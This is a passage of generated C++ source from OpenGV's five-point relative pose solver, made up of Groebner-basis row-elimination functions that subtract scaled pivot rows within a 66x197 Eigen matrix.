groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(58,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(58,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(58,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow34_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,33) / groebnerMatrix(34,157);
groebnerMatrix(targetRow,33) = 0.0;
groebnerMatrix(targetRow,34) -= factor * groebnerMatrix(34,158);
groebnerMatrix(targetRow,35) -= factor * groebnerMatrix(34,159);
groebnerMatrix(targetRow,36) -= factor * groebnerMatrix(34,160);
groebnerMatrix(targetRow,37) -= factor * groebnerMatrix(34,161);
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(34,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(34,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(34,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(34,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(34,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(34,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(34,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(34,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(34,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(34,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(34,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(34,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(34,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(34,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(34,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(34,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(34,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(34,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(34,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(34,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(34,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(34,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(34,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(34,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(34,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(34,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow59_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,140) / groebnerMatrix(59,140);
groebnerMatrix(targetRow,140) = 0.0;
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(59,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(59,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(59,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(59,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(59,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(59,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(59,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(59,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(59,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(59,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(59,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(59,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(59,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(59,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(59,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(59,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(59,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(59,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(59,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(59,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(59,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(59,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(59,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(59,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(59,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(59,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow33_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,32) / groebnerMatrix(33,156);
groebnerMatrix(targetRow,32) = 0.0;
groebnerMatrix(targetRow,33) -= factor * groebnerMatrix(33,157);
groebnerMatrix(targetRow,34) -= factor * groebnerMatrix(33,158);
groebnerMatrix(targetRow,35) -= factor * groebnerMatrix(33,159);
groebnerMatrix(targetRow,36) -= factor * groebnerMatrix(33,160);
groebnerMatrix(targetRow,37) -= factor * groebnerMatrix(33,161);
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(33,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(33,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(33,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(33,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(33,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(33,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(33,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(33,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(33,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(33,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(33,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(33,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(33,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(33,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(33,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(33,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(33,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(33,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(33,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(33,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(33,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(33,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(33,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(33,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(33,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(33,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow60_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,141) / groebnerMatrix(60,141);
groebnerMatrix(targetRow,141) = 0.0;
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(60,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(60,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(60,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(60,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(60,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(60,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(60,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(60,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(60,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(60,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(60,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(60,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(60,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(60,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(60,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(60,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(60,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(60,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(60,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(60,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(60,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(60,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(60,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(60,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(60,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow61_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,89) / groebnerMatrix(61,170);
groebnerMatrix(targetRow,89) = 0.0;
groebnerMatrix(targetRow,90) -= factor * groebnerMatrix(61,171);
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(61,173);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(61,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(61,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(61,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(61,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(61,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(61,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(61,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(61,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(61,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(61,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(61,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(61,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(61,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(61,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(61,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(61,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(61,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(61,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(61,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(61,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(61,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(61,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow61_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,125) / groebnerMatrix(61,170);
groebnerMatrix(targetRow,125) = 0.0;
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(61,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(61,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(61,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(61,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(61,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(61,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(61,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(61,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(61,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(61,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(61,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(61,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(61,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(61,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(61,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(61,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(61,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(61,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(61,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(61,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(61,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(61,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(61,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(61,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow61_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,170) / groebnerMatrix(61,170);
groebnerMatrix(targetRow,170) = 0.0;
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(61,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(61,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(61,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(61,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(61,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(61,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(61,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(61,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(61,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(61,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(61,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(61,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(61,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(61,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(61,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(61,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(61,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(61,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(61,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(61,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(61,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(61,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(61,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(61,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow32_000100000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,31) / groebnerMatrix(32,155);
groebnerMatrix(targetRow,31) = 0.0;
groebnerMatrix(targetRow,32) -= factor * groebnerMatrix(32,156);
groebnerMatrix(targetRow,33) -= factor * groebnerMatrix(32,157);
groebnerMatrix(targetRow,34) -= factor * groebnerMatrix(32,158);
groebnerMatrix(targetRow,35) -= factor * groebnerMatrix(32,159);
groebnerMatrix(targetRow,36) -= factor * groebnerMatrix(32,160);
groebnerMatrix(targetRow,37) -= factor * groebnerMatrix(32,161);
groebnerMatrix(targetRow,38) -= factor * groebnerMatrix(32,162);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(32,170);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(32,171);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(32,173);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(32,174);
groebnerMatrix(targetRow,87) -= factor * groebnerMatrix(32,176);
groebnerMatrix(targetRow,94) -= factor * groebnerMatrix(32,177);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(32,178);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(32,179);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(32,180);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(32,181);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(32,182);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(32,183);
groebnerMatrix(targetRow,123) -= factor * groebnerMatrix(32,184);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(32,185);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(32,186);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(32,187);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(32,188);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(32,189);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(32,190);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(32,191);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(32,192);
groebnerMatrix(targetRow,168) -= factor * groebnerMatrix(32,193);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(32,194);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(32,195);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(32,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow62_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,90) / groebnerMatrix(62,171);
groebnerMatrix(targetRow,90) = 0.0;
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(62,173);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(62,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(62,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(62,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(62,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(62,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(62,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(62,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(62,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(62,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(62,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(62,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(62,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(62,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(62,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(62,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(62,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(62,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(62,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(62,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(62,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(62,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(62,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow62_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,126) / groebnerMatrix(62,171);
groebnerMatrix(targetRow,126) = 0.0;
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(62,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(62,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(62,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(62,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(62,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(62,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(62,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(62,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(62,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(62,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(62,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(62,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(62,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(62,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(62,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(62,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(62,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(62,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(62,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(62,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(62,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(62,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(62,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow62_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,171) / groebnerMatrix(62,171);
groebnerMatrix(targetRow,171) = 0.0;
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(62,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(62,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(62,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(62,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(62,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(62,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(62,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(62,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(62,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(62,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(62,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(62,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(62,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(62,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(62,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(62,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(62,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(62,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(62,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(62,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(62,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(62,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(62,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow63_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,128) / groebnerMatrix(63,173);
groebnerMatrix(targetRow,128) = 0.0;
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(63,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(63,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(63,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(63,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(63,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(63,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(63,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(63,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(63,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(63,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(63,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(63,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(63,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(63,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(63,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(63,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(63,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(63,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(63,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(63,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(63,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(63,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow63_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,173) / groebnerMatrix(63,173);
groebnerMatrix(targetRow,173) = 0.0;
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(63,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(63,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(63,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(63,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(63,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(63,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(63,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(63,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(63,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(63,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(63,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(63,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(63,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(63,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(63,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(63,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(63,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(63,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(63,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(63,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(63,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(63,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow63_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,92) / groebnerMatrix(63,173);
groebnerMatrix(targetRow,92) = 0.0;
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(63,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(63,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(63,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(63,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(63,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(63,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(63,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(63,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(63,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(63,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(63,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(63,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(63,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(63,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(63,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(63,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(63,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(63,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(63,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(63,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(63,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(63,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow64_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,93) / groebnerMatrix(64,174);
groebnerMatrix(targetRow,93) = 0.0;
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(64,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(64,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(64,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(64,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(64,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(64,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(64,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(64,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(64,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(64,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(64,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(64,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(64,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(64,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(64,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(64,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(64,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(64,193);
